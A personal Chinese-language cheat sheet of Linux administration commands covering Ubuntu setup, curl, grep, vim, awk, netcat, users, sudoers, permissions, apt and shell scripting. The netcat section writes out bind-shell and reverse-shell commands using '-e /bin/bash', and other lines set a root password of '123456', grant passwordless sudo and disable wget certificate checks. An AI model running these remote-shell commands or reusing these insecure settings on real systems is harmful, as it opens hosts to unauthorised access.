linux常用命令

系统相关:

ubuntu destop与server版:

确认版本:

systemctl status display-manager
gdm:
    systemctl status gdm
ligthdm
    systemctl status lightdm,通过命令apt-get install lightdm和dpkg-reconfigure lightdm

destop->server:

方法1:
apt purge ubuntu-desktop -y && sudo apt autoremove -y && sudo apt autoclean        # server版没有安装这个。
问题: 
    卸载完ubuntu-destop还能进桌面,只是只有背景,和右键的几个简单设置。
apt-get remove xserver-xorg-core
问题: 
    1.开机主界面卡在reached target cloud-init target
      解决:touch /etc/cloud/cloud-init.disabled
    2.开机卡在Starting Update UTMP about System Runlevel Changes,ssh可以进去,看到display-manager service仍然在跑。
        systemctl set-default multi-user.target,会关闭了display-manager service
        或者
        rm /etc/systemd/system/display-manager.service /etc/systemd/system/display-manager.service.wants/gpu-manager.service
        rm /usr/share/xsessions -rf
        这个好处是系统的get-default还是graphical.target
可选:
    此外还包含一些其他的安装包,可以对比server版的package
    问题: 
        1.网络不可用
            重新安装netplan.io 
        2.键盘不可用
            暂未解决
最后问题:
    卸载了各种软件,最后发现关机的时候还是有图形化界面。开机的时候也还有。问题不大。
方法2,切换模式,不卸载package:
systemctl get-default 
systemctl set-default multi-user.target
错误方法:
systemctl stop display-manager
systemctl disable display-manager 
systemctl disable gdm.service        # 重启后又恢复了。

编辑/etc/default/grub文件也没有,而且不推荐修改,不方便server和destop切换。

server->destop
systemctl set-default graphical.target        # 安装server版一开始的default target也是这个。
apt install -y ubuntu-desktop                # 只需安装这个即可。

ubuntu内核升降级:

升级:

uname -a
apt update
sudo apt-get install linux-headers-4.15.0-45  linux-headers-4.15.0-45-generic linux-image-4.15.0-45-generic
apt list|grep 4.15.0-45 然后 apt install linux-modules-extra-4.15.0-45-generic linux-tools-4.15.0-45-generic linux-tools-4.15.0-45
reboot 

缺少包会导致网络不可用

如何降级:

进入ubuntu系统时,选择旧版本的kernel
sudo dpkg -l | grep 4.15.0-45
apt remove xxx | dpkg --purge xxx 

查看系统信息:

arch 显示机器的处理器架构(1
uname -m 显示机器的处理器架构(2
uname -r 显示正在使用的内核版本 
dmidecode -q 显示硬件系统部件 - (SMBIOS / DMI) 
hdparm -i /dev/hda 罗列一个磁盘的架构特性 
hdparm -tT /dev/sda 在磁盘上执行测试性读取操作 
cat /proc/cpuinfo 显示CPU info的信息 
cat /proc/interrupts 显示中断 
cat /proc/meminfo 校验内存使用 
cat /proc/swaps 显示哪些swap被使用 
cat /proc/version 显示内核的版本 
cat /proc/net/dev 显示网络适配器及统计 
cat /proc/mounts 显示已加载的文件系统 
lspci -tv 罗列 PCI 设备 
lsusb -tv 显示 USB 设备 
date 显示系统日期 
cal 2007 显示2007年的日历表 
date 041217002007.00 设置日期和时间 - 月日时分年.秒 
clock -w 将时间修改保存到 BIOS 

系统日志:

syslogd运行程序会记录系统上不同的活动,如sendmail、内核警告等
配置文件
    /etc/rsyslogd.conf
常见日志文件:
    /var/log/wtmp   包含了用户的登录次数和持续时间的二进制信息
    /var/run/utmp   包含了目前登录系统的用户信息  

ubuntu新服务器安装:

1.mount mkfs挂载盘

2.安装py2 py3(ubuntu都有) 对应的pip

sudo apt install python3-pip
安装对应的第三方库
    pipreqs(根据当前目录下的项目的依赖来导出三方类库)
    pip freeze(本地环境中所有三方包信息)
pip3 freeze > requirements.txt
pip3 install -r requirements.txt
    如果报错,用cat requirements.txt | xargs -n 1 sudo pip3 install

3.安装git

sudo apt-get update
sudo apt-get install git  

4.下载项目

添加ssh公钥到gitlab的公共账号(只能pull的一个账号)上面(可能需要git白名单添加)
git clone ssh项目地址

ubuntu系统备份:

clonezilla:

apt-get install clonezilla
clonezilla

挂载device到/home/partimag目录

amd64下ap直接安装,但arm64通过deb安装,最后发现drbl的依赖syslinux不支持arm64

tar打包:

sudo tar czf /backup.tar.gz --exclude=/backup.tar.gz --exclude=/dev --exclude=/mnt --exclude=/proc --exclude=/sys --exclude=/tmp --exclude=/lost+found /
tar xvpfz backup.tgz -C /
reboot

基本命令:

文件描述符(fd)与重定向:

每个命令执行都会产生三个文件描述符012
    0:标准输入
    1:标准输出      # 默认是屏幕,ls 1>log.txt,不加1默认是1  
    2:错误输出      # 默认也是屏幕,lssdd 2>error.log 

    >>表示追加
    ls >log.txt 2>&1    错误和输出都放在log.txt
    ls >/dev/null       /dev/null所有写入的内容都会丢失

管道|:

一个操作符,一个命令的输出作为另一个命令的输入
echo 123456|passwd --stdin root

与重定向>的区别:
    |是标准输入
    >是将结果作为变量输入

对于sudo echo "hello" > /etc/test权限问题:
    方法1:
        echo "hello" |sudo tee /etc/test
    方法2:
        sudo sh -c "echo 'hello' | cat > /etc/test"

curl命令:

访问网页 -d 是post请求,多个参数使用&连接,并且要加""把参数引起来
1. 获取页面内容 
    curl http://www.codebelief.com
2. 显示 HTTP 头 
    curl -I http://127.0.0.1:8500   只想要显示 HTTP 头,而不显示文件内容
    curl -i http://127.0.0.1:8500   同时显示 HTTP 头和文件内容
3. 将链接保存到文件 
    方法一  curl http://www.codebelief.com > index.html    
    方法二  curl -o index.html http://www.codebelief.com   结果会被保存到命令行中提供的文件名 
    方法三  curl -O http://www.codebelief.com/page/2/      URL 中的文件名会被用作保存输出的文件名,必须确保链接末尾包含文件名
4. 同时下载多个文件
    curl -o page1.html http://www.codebelief.com/page/1/ -o page2.html http://www.codebelief.com/page/2/
    curl -O http://www.codebelief.com/page/2/ -O http://www.codebelief.com/page/3/
5. 使用 -L 跟随链接重定向 
    curl -L http://codebelief.com   正常情况下无法自动跳转
6. 使用 -A 自定义 User-Agent
    curl -A “Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0” http://www.baidu.com
7. 使用 -H 自定义 header 
    curl -H “Referer: www.example.com” -H “User-Agent: Custom-User-Agent” http://www.baidu.com 
    curl -H “Cookie: JSESSIONID=D0112A5063D938586B659EF8F939BE24” http://www.example.com 
8. 使用 -c 保存 Cookie 
    curl -c “cookie-example” http://www.example.com
9. 使用 -b 读取 Cookie 
    -H也可
    curl -b “JSESSIONID=D0112A5063D938586B659EF8F939BE24” http://www.example.com
    如果要从文件中读取 Cookie,-H 就无能为力了,此时可以使用 -b 来达到这一目的: 
    curl -b “cookie-example” http://www.example.com
10. 使用 -d 发送 POST 请求
    -d 用于指定发送的数据,-X 用于指定发送数据的方式
    POST请求
        curl -d “userName=tom&passwd=123456” -X POST http://www.example.com/login
    在使用 -d 的情况下,如果省略 -X,则默认为 POST 方式: 
        curl -d “userName=tom&passwd=123456” http://www.example.com/login
    GET请求
        curl -d “somedata” -X GET http://www.example.com/api
        或者使用 -G 选项: 
        curl -d “somedata” -G http://www.example.com/api
    从文件中读取 data 
        curl -d “@data.txt” http://www.example.com/login

取得HTTP返回的状态码
    curl -I -m 10 -o /dev/null -s -w %{http_code} www.baidu.com
    -V 

curl失败退出:
    curl -f -v -s -X GET "https://${HARBOR_REGISTRY}:8443/api/v2.0/projects/${DOCKER_HARBOR_LIBRARY}/repositories" -H 'Content-Type: application/json' -k -u admin:${HARBOR_ADMIN_PASSWORD} > /dev/null && echo "\nharbor has been already!\n" && return

grep:

文本内容查找命令
grep root /etc/passwd
cat /etc/log |grep log

-c匹配的行数量    -i不分大小写 -n额外显示行号    -v打印不匹配的行   >写到哪个文件   -q判断是否存在,不返回结果
-C n 显示匹配位置前后n行    -A 后         -B 前
-o 按行显示匹配结果
-E 'pattern1|pattern2'
-e pattern1 -e pattern2

支持正则表达式    ^ $ . * ^$空白行

例子:
    grep -V "^$"   /etc/bashrc > /etc/bashrc.bak   # 所有非空写入文件bak中
    tar -cvf conf.tar /etc/* 
    tar -tvf conf.tar|grep yum.repos.d      # 压缩所有文件并查找其中包含yum.repos.d的文件

vim:

命令模式:i:光标前    a:光标后   o:新行    zz:保存并退出
编辑模式:
末行模式(命令模式下输入:):w保存,wq保存退出,q不保存退出,wq!强制保存,q!强制不保存退出 
        e编辑其他文件 r写入其他文件 !执行shell命令并切换至屏幕 r!执行shell命令并输出至文件

移动:h左 j下 k上 l右
翻页:ctrl+f 向尾翻 ctrl+b 向头翻
移动:gg首行    G尾行 Ngg第N行  ^当前行的开头     $当前行的结尾 
      w:移动到单词的结尾 b:移动到单词开头,0(零):移到到该行开头,$:移到到行末尾
搜索: 
    键入/
    向前搜索 ?

剪切:dd    Ndd
复制:yy    Nyy  y$ 复制至光标末尾
粘贴:p     插入后面   P 插入前面
撤销:u(undo)
删除:x 删除光标下字符   dw 删除单词  d$ 删除光标位置知道行尾
替换:R:替换模式 r:替换单一字符后回到命令模式 

其他:w 文件名:另存;N:移动到第N行;set nu:显示行号

缓存:rm .*.swp
自定义配置:yum install lrzsz    vim ~/.vimrc
技巧: 
    1.:[x,y[s/pattern/replacement/flags
        如
            :1,10s/a/A
        %代表整个文件,$文件最后一行,空白表示目前所在那一行
        flags:
            默认情况下替换第一个匹配的
            g:替换每行中每一个出现的pattern
            s:替换前每次询问
    2.标记
        移到光标到某一行,键入m+字母,即可标为该行为该字母
        使用: 
            'a 移到标记处
            `a 移到标记时光标所在的位置
        示例:
            :'
a,.s/w/W
    3.寄存器
        名称是单一字母,a-z A-Z 如"a
        方法:
            "
ayy 复制当前行
            "ap  粘贴 
            "
ay`a 复制光标位置到标记a的文字
        技巧: 
            :e 编辑新文件,可以使用寄存器
    4.执行其他命令
        :x,y!command
    5.扩展
        :set命令
            如:set ai可以开启文字自动缩排的功能(:set noai)
            能够在~/.vimrc(可能其他类似名字)写入,每次自动加载
    6.小键盘不能正常使用
        xshell的问题,网页则不会
        设置:
            xshell编辑属性:在类别中选择“VT模式”,然后在右侧的选项中,选择:初始数字键盘模式中的“设置为普通”

EOF用法:

cat << EOF > /tmp/yourfilehere
    These contents will be written to the file.
    This line is indented.
EOF

wget提示证书问题:

docker的container内出现,加上--no-check-certificate后解决,测试ubuntu:18.04.5镜像没有该问题
原因: 
    发现openssl的具体信息不一致apt show openssl和openssl version -a查看具体的platform
    之前一个镜像的系统版本是ubuntu:18.04.4,platform为linux-aarch64。而18.04.5的为debian-arm64。OPENSSLDIR和ENGINESDIR等参数也不同

解决: 
    container退出后再登录,发现openssl version -a的platform变为debian-arm64,这样就没问题了。
    有可能是底层镜像变化了。期间有操作过docker pull ubuntu:18.04可能更新了底层

临时解决方法:
    echo "check_certificate = off" >> ~/.wgetrc
指定参数也行:
    wget https://www.baidu.com --ca-certificate=/etc/ssl/certs/ca-certificates.crt
其他方案:
    apt安装的是linux-aarch64,那么源码编译openssl,./Configure debian-arm64,但提示平台不支持
    update-ca-certificates -f

df命令卡住问题:

如果挂载的文件系统无法访问,df命令就会卡住,这个时候就需要强制卸载挂载点。
NFS服务器关了,这边客户端就会卡死    umount -fl /mnt
如果发现正忙,杀死所有占用的进程:    fuser -uck /mnt

进阶命令:

awk命令:

概述:

行处理器,处理过程: 依次对每一行进行处理,然后输出
    awk [-F|-f|-v] ‘BEGIN{} //{command1; command2} END{}’ file
        [-F|-f|-v]   大参数,-F指定分隔符,-f调用脚本,-v定义变量 var=value
    '  '          引用代码块
    BEGIN   初始化代码块,在对每一行进行处理之前,初始化代码,主要是引用全局变量,设置FS分隔符
    //           匹配代码块,可以是字符串或正则表达式
    {}           命令代码块,包含一条或多条命令
    ;          多条命令使用分号分隔
    END      结尾代码块,在对每一行进行处理之后再执行的代码块,主要是进行最终计算或输出结尾摘要信息

特殊要点:

$0           表示整个当前行
$1           每行第一个字段
NF          字段数量变量
NR          每行的记录号,多文件记录递增
FNR        与NR类似,不过多文件记录不递增,每个文件都从1开始
\t            制表符
\n           换行符
FS          BEGIN时定义分隔符
RS       输入的记录分隔符, 默认为换行符(即文本是按一行一行输入)
~            匹配,与==相比不是精确比较
!~           不匹配,不精确比较
==         等于,必须全部相等,精确比较
!=           不等于,精确比较
&&      逻辑与
||             逻辑或
+            匹配时表示1个或1个以上
/[0-9][0-9]+/   两个或两个以上数字
/[0-9][0-9]*/    一个或一个以上数字
FILENAME 文件名
OFS      输出字段分隔符, 默认也是空格,可以改为制表符等
ORS        输出的记录分隔符,默认为换行符,即处理结果也是一行一行输出到屏幕
-F'[:#/]'   定义三个分隔符

示例:

1.多行求和。
    cat ph_user_level.log |grep -o "length [0-9]\+"|grep -o "[0-9]\+"|awk '{sum+=$1} END {print sum}'
    cat ph_user_level.log |grep -o "calculate score taken [0-9]\+.[0-9]\+"|grep -o "[0-9]\+.[0-9]\+"|awk '{sum+=$1} END {print sum}'
    grep中的正则表达式要\转义

makefile编译:

结构:

TARGET … : DEPENDENCIES …         
COMMAND

说明:

TARGET:代表我们生产的目标文件
DEPENDENCIES:是用来产生目标的输入文件,一个目标通常依赖于多个文件。
COMMAND:命令行

makefile的另外一个规则就是最终目标必须写在第一行

如果Make命令运行时没有指定目标,默认会执行Makefile文件的第一个目标。

netcat命令:

server:

nc -v -l 127.0.0.1 6000

client:

nc -v -p 5000 localhost 6000
telnet也可以

参数介绍:

-g<网关>:设置路由器跃程通信网关,最多设置8个;
-G<指向器数目>:设置来源路由指向器,其数值为4的倍数;
-h:在线帮助;
-i<延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口;
-l:使用监听模式,监控传入的资料;
-n:直接使用ip地址,而不通过域名服务器;
-o<输出文件>:指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p<通信端口>:设置本地主机使用的通信端口;
-r:指定源端口和目的端口都进行随机的选择;
-s<来源位址>:设置本地主机送出数据包的IP地址;
-u:使用UDP传输协议;
-v:显示指令执行过程;
-w<超时秒数>:设置等待连线的时间;
-z:使用0输入/输出模式,只在扫描通信端口时使用。

常用场景:
    判断端口是否开放:
        nc -z 127.0.0.1 6379 
        nc -z -v -n 192.168.1.1 21-25
        nc -w 10 localhost 2389
    监听端口:
        nc -l 80
    文件传输:
        nc -l 20000 < file.txt
        nc -n 192.168.1.1 20000 > file.txt

        tar -cvf – dir_name | nc -l 20000
        nc -n 192.168.1.1 20000 | tar -xvf -

    远程打开shell
        nc -l 20000 -e /bin/bash -i
        nc 192.168.1.1 20000

    反向shell 
        反向shell是指在客户端打开的shell。
        nc -l 20000
        nc 192.168.1.1 20000 -e /bin/bash

xargs命令:

xargs 是给命令传递参数的一个过滤器,也是组合多个命令的一个工具。
xargs 可以将管道或标准输入(stdin)数据转换成命令行参数,也能够从文件的输出中读取数据。
xargs 也可以将单行或多行文本输入转换为其他格式,例如多行变单行,单行变多行。
xargs 默认的命令是 echo,这意味着通过管道传递给 xargs 的输入将会包含换行和空白,不过通过 xargs 的处理,换行和空白将被空格取代。
xargs 是一个强有力的命令,它能够捕获一个命令的输出,然后传递给另外一个命令。

命令格式:
    somecommand |xargs -item  command
    参数: 
        -a file 从文件中读入作为sdtin
        -e flag ,注意有的时候可能会是-E,flag必须是一个以空格分隔的标志,当xargs分析到含有flag这个标志的时候就停止。
        -p 当每次执行一个argument的时候询问一次用户。
        -n num 后面加次数,表示命令在执行的时候一次用的argument的个数,默认是用所有的。
            管道传过来的每一个单词(默认空格分割,可指定)都算一个argument
            -n指定每次传多少个argument
        -t 表示先打印命令,然后再执行。
        -i 或者是-I,这得看linux支持了,将xargs的每项名称,一般是一行一行赋值给 {},可以用 {} 代替。
        -r no-run-if-empty 当xargs的输入为空的时候则停止xargs,不用再去执行了。
        -s num 命令行的最大字符数,指的是 xargs 后面那个命令的最大命令行字符数。
        -L num 从标准输入一次读取 num 行送给 command 命令。
        -l 同 -L。
        -d delim 分隔符,默认的xargs分隔符是回车,argument的分隔符是空格,这里修改的是xargs的分隔符。
        -x exit的意思,主要是配合-s使用。。
        -P 修改最大的进程数,默认是1,为0时候为as many as it can ,这个例子我没有想到,应该平时都用不到的吧。

遍历pod拉取镜像:
    li=`kg pod -A |grep Running |awk '{print $2,"-n",$1}' | xargs -n3 kubectl get pod -o yaml|grep "image: harbor.apulis"`
    for one in $li;do docker tag $one kelvin0486/`echo $one|rev|cut -d/ -f1|rev`;docker push kelvin0486/`echo $one|rev|cut -d/ -f1|rev`;done

screen命令:

新建:

screen
screen -S name

退出\离线:

-d <作业名称>  将指定的screen作业离线。新开一个shell再执行。

重新进入:

screen -r xxx
-R  先试图恢复离线的作业。若找不到离线的作业,即建立新的screen作业。
-x  恢复之前离线的screen作业。

清理:

screen -wipe

杀掉screen:

kill -9 name

cut命令:

字符串分割
string="hello,shell,split,test"  
array=(${string//,/ })  

for var in ${array[@]}
do
   echo $var
done     

A="$(cut -d'_' -f2 <<<'one_two_three_four_five')"
echo "$A"
two

示例: 
    cat docker-compose.yml |grep image | cut -d':' -f 2-
    cat docker-compose.yml |grep image | cut -d':' -f 2- |xargs -n 1 docker pull

用户:

查看用户:

id        -u用户id
uid
gid:初始组,自动创建
groups:一个用户多个组

cat /etc/passwd czl:x:501:501::/home/czl:/bin/bash
                user id:password:uid:gid:userinfo:home dir:shell  /bin/bash允许登录 /sbin/nologin无法登录
cat /etc/group     bin:x:1:bin,daemon
                group name:group passwd:gid:group list
                # group passwd可以使得其他用户可以通过newgrp命令来接触到该文件
                # group list有必要包含用户额外隶属的群组,/etc/passwd预设群组不必要包含

用户管理:

useradd[参数][用户名]        # sudo adduser 用户名
区别:
    useradd如果不输入命令,默认不创建home目录,shell版本,密码
    adduser则会交互式提醒输入,当然可以直接命令行指定
        adduser --force-badname --home /home/${DLWS_USER_NAME} --shell /bin/bash --uid ${DLWS_UID}  -gecos '' --gid ${DLWS_GID} --disabled-password ${DLWS_USER_NAME}
            adduser --force-badname --home /home/czl --shell /bin/bash  -gecos '' czl
            adduser czl sudo
        usermod -p $(echo ${DLTS_JOB_TOKEN} | openssl passwd -1 -stdin) ${DLWS_USER_NAME}
-d 指定home目录    
-g 指定gid
-G 指定所属组列表

usermod 修改 -d -g      追加组-a -G

userdel 删除 -r

修改uid:编辑/etc/passwd,然后chown改变原先文件的拥有者即可 chown -R test /home/test

用户切换:

su 用户名  不加任何用户名称时,默认切换root用户

群组操作:

newgrp:

使用后启动新的shell,在离开这个shell之前都暂时属于该群组
没有密码或者*不能加入

groupadd[参数][组名] 添加组
可通过groups查看所在群组
用途:文件权限划分,特殊硬件(如扫描器)的读取权限
groupmod 

密码:

查看密码:

cat /etc/shadow    密文形式,而/etc/passwd存放的密码一般是x或者*(停用了),称为影子口令,防止撞库

修改密码:

passwd user

sudo权限配置:

cat /etc/sudoers        czl ALL=(ALL) NOPASSWD:ALL      记得不要被组的设置给覆盖了,导致nopasswd不生效
/etc/sudoers.d/90-cloud-init-users    亚马逊配置
配置sudo命令的PATH环境变量
    Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    执行sudo时,出于安全的考虑,这个程序将在新的、最小化的环境中执行,PATH会与当前用户的环境变量不一样,而是配置的
命令行设置:
    adduser $DLWS_USER_NAME sudo
    echo '%sudo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers

关于sudoers修改错误的修复:
    1.停掉实例
    2.创建一个可用区相同的新实例(创建时选择子区),运行,登陆
    3.detch旧实例的卷,挂载到新实例上
    4.登陆新实例,进行操作
        sudo mkdir bad
        sudo mount /dev/xvdf /bad 
        这个时候可以对旧实例的数据进行修改了
        sudo umount /bad 
    5.收尾操作即可

文件权限:

概述:

dr-xr-xr-x.   2 root root  4096 Aug 23 07:39 bin
             文件数 所属用户 组 大小 日期   文件名
常用文件类型:
    -普通文件 
    d目录文件
    l链接文件
    b块设备文件
    c字符设备文件
    p管道文件

颜色:
    绿色:可执行文件
    红色:压缩
    蓝色:文件夹
    浅蓝:链接
    白色:一般性

    ln -s 源文件 目标文件
    红色:链接有问题
    黄色:设备
    灰色:其他文件

    file + 查看属性

权限以三个字符为一组,第一组表示所属用户的权限,第二是所属组,第三是其他组
r:4可读 w:2可写 x:1可执行 - 无权限
rwx=7 rw=6 rx=5

改变权限:

chmod 704 /xx/xx        -R 父目录权限也随之改
chmod o-r /xx/xx        chmod ug+rwx /xx/xx     # 一次增加多个

u g o 分别是用户,组,其他组
+ - = 分别是增加、去掉、赋值
r w x 

查看:

ls -l  查看目录下文件
    文件的类型
    文档所有者的权限
    与所有者同在一个组的用户的权限情况
    其他用户的权限情况
    文件硬链接数 # 文件为1,目录一般来说至少为2,因为包含了. and ..,但是不是所有的文件系统都使用. and ..
    文件(目录)拥有者   
    文件(目录)拥有者所在的组   
    文件所占用的空间(以字节为单位)
    文件(目录)最近访问(修改)时间
    文件(目录)名
ls -ld 查看目录本身

目录的r权限:能够读该目录下的文件列表,查看权限需要先有x。
目录的w权限:能够新建,删除,修改,移动目录内文件的权限,需要先有x。
目录的x权限:能够进入

1、目录的只读访问不允许使用cd进入目录,必须要有执行的权限才能进入。
2、只有执行权限只能进入目录,不能看到目录下的内容,要想看到目录下的文件名和目录名,需要可读权限。
3、一个文件能不能被删除,主要看该文件所在的目录对用户是否具有写权限,如果目录对用户没有写权限,则该目录下的所有文件都不能被删除,文件所有者除外
4、目录的w位不设置,即使你拥有目录中某文件的w权限也不能写该文件

硬链与软链:

Linux系统中,内核为每一个新创建的文件分配一个Inode(索引结点),每个文件都有一个惟一的inode号。
文件属性保存在索引结点里,在访问文件时,索引结点被复制到内存里,从而实现文件的快速访问。
硬链: 
    硬链接说白了是一个指针,指向文件索引节点,系统并不为它重新分配inode。可以用:ln命令来建立硬链接。
    硬连接的作用是允许一个文件拥有多个有效路径名,这样用户就可以建立硬连接到重要文件,以防止“误删”的功能。
    其原因如上所述,因为对应该目录的索引节点有一个以上的连接。
    只删除一个连接并不影响索引节点本身和其它的连接,只有当最后一个连接被删除后,文件的数据块及目录的连接才会被释放。

软链:
    软链接文件有类似于Windows的快捷方式。它实际上是一个特殊的文件。在符号连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。

文件硬链接数为0的情况:

lsof directory查看不了任何占用
lsblk可以看到挂载了该个目录
mount|grep profiling
    /dev/sda3 on /var/log/npu/profiling type ext4 (rw,relatime,errors=remount-ro,data=ordered)
推测可能是error后remount-ro导致的。
umounnt /var/log/npu/profiling后正常

修改所属:

chown user:组 文件
chgrp user:组 文件

内容操作:

cp 拷贝
mv
rm删除文件     -r删除目录  -f强制  rmdir删除空目录
> 文件名 清空

查找:

find / -name *.*
find / -type 类型参数,如l
find / -perm 777 权限查找
find / -type f -user root -exec chown tom {}\;后面是固定格式 -exec是要执行
find / -mtime 0 表示当天 +1表示1天前

软件安装:

概述:

centos系统:yum安装的都是rpm已编译好的程序包就是多个 rpm -ivh 名字 rpm -e 卸载  rpm -a 查询 -qi 版本信息 -qR依赖库
ubuntu系统:apt与dkpg命令

手动编译:

wget *.tgz        或 curl -OL
tar -zxvf *.tgz
cd 进入目录
./configure --prefix=指定安装目录 检测平台特征
make
make install 
make clean    出现问题重新编译

对于apt安装报错的解决:

1.安装提示processing错误的依赖列表,尝试sudo apt remove掉

sudo apt autoclean        将已经删除了的软件包的.deb安装文件从硬盘中删除
sudo apt clean            删除包缓存中的所有包
sudo apt autoremove    -f  删除为了满足其他软件包的依赖而安装的,但现在不再需要的软件包。(如果安装其他软件也报错,尝试这个)
    然后sudo apt install -f 根据提示是否进行sudo apt-get upgrade
apt-get --purge remove     删除已安装包(不保留配置文件)。
sudo apt-get update #更新apt软件源数据库
sudo apt-get upgrade #更新已安装的软件包

2.对于提示dh-python : Depends: python3:any (>= 3.3.2-2~)的,自己编译源码然后ln python3到自己的python3地址

3.卸载docker时出错的解决

sudo rmdir /var/lib/dpkg/available
sudo touch /var/lib/dpkg/available
sudo rm /var/lib/dpkg/status
sudo cp /var/backups/dpkg.status.1.gz /var/lib/dpkg/
cd /var/lib/dpkg/
sudo gunzip dpkg.status.1.gz
sudo mv dpkg.status.1 status
apt-get update

dpkg不能正常工作:

cd /var/lib/dpkg/
sudo mv info info.bak
sudo mkdir info
sudo apt-get update
sudo apt-get -f install

sudo mv ./info/*./info.bak
sudo rm -r info
sudo mv info.bak info

apt下载不同架构的deb包:

sudo dpkg --add-architecture arm64
sudo vi /etc/apt/sources.list

# source urls for arm64
deb [arch=arm64] http://ports.ubuntu.com/ xenial main restricted
deb [arch=arm64] http://ports.ubuntu.com/ xenial-updates main restricted
deb [arch=arm64] http://ports.ubuntu.com/ xenial universe
deb [arch=arm64] http://ports.ubuntu.com/ xenial-updates universe
deb [arch=arm64] http://ports.ubuntu.com/ xenial multiverse
deb [arch=arm64] http://ports.ubuntu.com/ xenial-updates multiverse
deb [arch=arm64] http://ports.ubuntu.com/ xenial-backports main restricted universe multiverse

apt-get update
apt-get install package:architecture

apt下载指定包到本地,包括依赖
apt-cache depends xxx 
apt download xxx 

apt install -d 和apt download的区别:

1.apt-get -d install明确需要root权限,而apt-get download不用

2.apt-get -d保存.deb于/var/cache/apt/archives,而apt-get download保存在当前路径

3.apt-get download更新

安装python3:

先安装pip依赖包
    yum install openssl-devel -y
    yum install gcc
    yum install zlib
    yum install zlib-devel
    yum install libffi-devel -y
django依赖
    yum install sqlite-devel
wget https://www.python.org/ftp/python/3.6.8/Python-3.6.8.tgz
tar -xvf Python-3.6.8.tgz
mkdir /usr/local/python3
进入文件夹
./configure --prefix=/usr/local/python3
make && make install 

mv /usr/bin/python /usr/bin/python_bak
ln -s /usr/local/python3/bin/python3 /usr/bin/python
ln -s /usr/local/python3/bin/pip3 /usr/bin/pip
切换至root用户修改yum文件,vim /usr/bin/yum  修改第一行为python2
安装pip
    wget --no-check-certificate  https://pypi.python.org/packages/source/s/setuptools/setuptools-19.6.tar.gz#md5=c607dd118eae682c44ed146367a17e26
    tar -zxvf setuptools-19.6.tar.gz
    cd setuptools-19.6
    python3 setup.py build
    python3 setup.py install

    wget --no-check-certificate  https://pypi.python.org/packages/source/p/pip/pip-8.0.2.tar.gz#md5=3a73c4188f8dbad6a1e6f6d44d117eeb
    tar -zxvf pip-8.0.2.tar.gz
    cd pip-8.0.2
    python3 setup.py build
    python3 setup.py install
    python3 setup.py install

20.04上安装python2
apt update 
apt install python2
curl https://bootstrap.pypa.io/get-pip.py --output get-pip.py
python2 get-pip.py

pip如何下载不同的包:

--platform=aarch64  --no-deps

关闭apt自动upgrade
编辑/etc/apt/apt.conf.d/20auto-upgrades 
    APT::Periodic::Update-Package-Lists "0";
    APT::Periodic::Unattended-Upgrade "0";          # 是否锁住apt
编辑/etc/apt/apt.conf.d/10periodic 
    APT::Periodic::Update-Package-Lists "0";
    APT::Periodic::Download-Upgradeable-Packages "0";
    APT::Periodic::AutocleanInterval "0";

命令: 
    sed -i 's/APT::Periodic::Update-Package-Lists "1"/APT::Periodic::Update-Package-Lists "0"/' /etc/apt/apt.conf.d/20auto-upgrades

shell语言:

概述:

操作系统之上的软件

种类:

bash:shell的扩展,并且完全兼容shell(vim\vi)
csh:
ksh:
sh:原始的shell,不提供编辑命令行功能

shell script:

就是shell命令的函数用法,.sh文件后缀 sh + xx.sh允许
#!/bin/bash  指定什么解析器    #开头是shell的注释
which sh看到sh执行路径,$PATH:配置默认执行命令的解析器路径,顺序搜索到后执行
修改luffy.sh 644为755即可路径执行 /root/luffy/.sh 或./luffy.sh

常用按键和用法:

ctrl+u:删除整行命令
ctrl+t:交换光标与光标前一位字母的位置

变量:

字母,下划线开头
引用:需加$符号,{}可以帮助解释器识别变量的边界
双引号:变量赋值可用不加引号,如果中间有空格,则一定要加;变量引用可放在双引号里
单引号:引号内的变量不会替换

位置变量:

$n 代表输入的第n个参数,0是命令本身,1-9
$* 代表输入的所有参数
$# 代表输入的参数个数
$? 代表上一次命令的返回结果,0表示成功,其他表示失败

命令替换和赋值:

$(cmd)    或者`
命令替换是一个命令的输出作为另一个命令的参数,而管道将输出作为下一个命令的标准输入0
# 参数是命令后紧接的

$PATH:

系统启动会自带一些变量

运算符:

逻辑运算符:

&&  前面命令执行完且成功执行后面命令
||    前面命令执行有问题才执行后面命令,可用echod && echo ok || echo error

算术:

$(($i+$j))
$((1+2)) 结果是一个变量

命令分隔符:

;     前面命令不影响后面

条件:

用[ ]括起来,另外[ ]里外都需要用空格与周围隔开
if [ 表达式 ];then     ;fi     #[ 表达式 ]等同于test命令,if [ 1 == 1 ];then echo 1;fi
if command;then     ;fi     #

-eq 测试两个整数是否相等
-ne 测试两个整数是否不等
-gt 测试一个数是否大于另一个数
-lt 测试一个数是否小于另一个数
-ge 大于或等于
-le 小于或等于

字符串测试(两边要有空格)
    == 等于  
    != 不等
    >  大于
    <  小于
    -z string 测试指定字符是否为空,空着真,非空为假
    -n string 测试指定字符串是否为不空,空为假 非空为真     #if [ -n sss ];then echo 1;fi

    文件测试
    -e FILE 测试文件是否存在
    -f file 测试文件是否为普通文件
    -d file 测试指定路径是否为目录
    -r file 测试文件对当前用户是否可读
    -w file 测试文件对当前用户是否可写
    -x file 测试文件对当前用户是都可执行

    组合测试
    -a: and
    -o: or
    !: 非
if判断文件是否存在
    if [ 表达式 ];then     ;fi 

    文件:
        if test -f c ;then echo 111;fi
        if [ -f /etc/bash.bashrc ] ;then echo 111;fi        [和test是等同的。
    目录:
        if [ ! -d "/myfolder" ]; then


判断变量是否为空
    if [ ! -z $host ];then echo 111;fi

判断字符串相等
    if [ ! -z $host ] && [ "$host" = "worker-1" ];then echo 111;fi

判断命令是否存在:
    if ! [ -x "$(command -v sudo)" ] ; then 已存在
    if ! command -v istioctl &> /dev/null; then echo 不存在;fi

循环:

for arg in [list];do command;done

while [condition];do command;done        # :表示永远为true
until [];do command;done

输入:

read 变量名:输入字符串并赋值给该变量    -p  提示信息
例子:while read -p "please input a name" name; do echo $name $RANDOMdone

函数:

function name ()
{

}
可以加return返回值,也可以不带,如果不带就以最后一条命令运行结果,作为返回值。
# 带function关键字,也可以不带

数组操作:

定义:

a=(a b "c")

切片:

choice_run_func=("${run_func[@]:1}")
choice_run_func=("${run_func[@]:1:2}")

遍历:

